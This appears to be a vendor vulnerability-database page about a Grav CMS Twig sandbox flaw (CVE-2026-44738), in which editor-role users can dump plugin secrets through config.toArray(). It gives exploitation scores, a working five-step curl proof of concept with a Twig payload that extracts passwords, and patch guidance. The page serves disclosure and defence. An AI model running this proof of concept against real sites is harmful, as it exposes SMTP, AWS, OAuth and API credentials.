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Not in CISA KEV
HIGH severity

GHSA-j274-39qw-32c9

HIGH

GHSA-j274-39qw-32c9 is a high-severity (CVSS 7.7) Information Exposure vulnerability in getgrav/grav. O3 Security confirms whether GHSA-j274-39qw-32c9 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()

Also known asCVE-2026-44738
Published
May 13, 2026
Updated
May 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-j274-39qw-32c9.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs20th percentile — riskier than 20% of all scored CVEsHighest risk
0.00%0.26%0.52%0.78%0.0%0.3%0.3%0.3%Jun 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-j274-39qw-32c9 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected
🐘getgrav/grav

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

- class: 'Grav\Common\Config\Config'
  methods: 'get, toarray, value, default, offsetget, offsetexists'

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

$twig_vars = [..., 'config' => $config, ...]

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

{{ config.toArray()|json_encode|raw }}

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

# Step 1 — Get login nonce
NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \
  | grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)
curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST http://TARGET/admin \
  --data-urlencode "data[username]=EDITOR_USER" \
  --data-urlencode "data[password]=EDITOR_PASS" \
  --data-urlencode "task=login" \
  --data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce
ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \
  | grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload
curl -s -b /tmp/cookies.txt \
  -X POST http://TARGET/admin/pages/poc \
  --data-urlencode "admin-nonce=${ADMIN_NONCE}" \
  --data-urlencode "task=save" \
  --data-urlencode "data[frontmatter]=title: poc
process:
    twig: true
published: true" \
  --data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \
  --data-urlencode "data[folder]=poc" \
  --data-urlencode "data[route]=/" \
  --data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page
curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistgetgrav/gravall versions2.0.0-rc.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for getgrav/grav. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update getgrav/grav to 2.0.0-rc.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-j274-39qw-32c9 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-j274-39qw-32c9 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-j274-39qw-32c9. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The Twig sandbox allow-list permits any user with the `admin.pages` role to call `config.toArray()` from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. ## Details The Twig sandbox allow-list in `system/config/security.yaml` explicitly permits `Config::toArray()` for the `Grav\Common\Config\Config` class: ```yaml - class: 'Grav\Common\Config\Config' methods: 'get, toarray, value, default, offsetget, off
O3 Security · Impact-Aware SCA

Is GHSA-j274-39qw-32c9 in your dependencies?

O3 detects GHSA-j274-39qw-32c9 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.